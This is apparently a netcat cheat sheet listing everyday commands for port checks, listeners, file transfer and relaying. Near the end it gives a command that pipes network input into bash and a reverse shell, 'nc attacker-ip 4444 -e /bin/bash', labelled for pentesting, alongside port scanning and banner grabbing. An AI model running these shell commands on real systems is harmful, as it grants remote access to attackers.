Test TCP connection
nc -zv example.com 80
Scan port range
nc -zv example.com 20-30
Listen on port (server mode)
nc -l 8080
Connect to listening port
nc localhost 8080
Chat between two machines
Machine 1 (server):
nc -l 9999
Machine 2 (client):
nc machine1-ip 9999
Transfer file
Receiver (server):
nc -l 5000 > received_file.txt
Sender:
nc receiver-ip 5000 < file.txt
Create simple web server
while true; do echo -e "HTTP/1.1 200 OK\n\nHello World" | nc -l 8080; done
UDP mode
nc -u example.com 53
Set timeout
nc -w 3 example.com 80
Verbose output
nc -v example.com 80
Keep listening after disconnect
nc -k -l 8080
Banner grabbing
echo "" | nc example.com 22
Port forwarding/relay
nc -l 8080 | nc target-server 80
Check if port is open
nc -zv 192.168.1.1 22 && echo "Open" || echo "Closed"
Test HTTP endpoint
printf "GET / HTTP/1.0\r\n\r\n" | nc example.com 80
Pipe commands through network
Server:
nc -l 9999 | bash
Client:
echo "ls -la" | nc server-ip 9999
Netcat as reverse shell (for pentesting)
Attacker (listener):
nc -lvp 4444
Target:
nc attacker-ip 4444 -e /bin/bash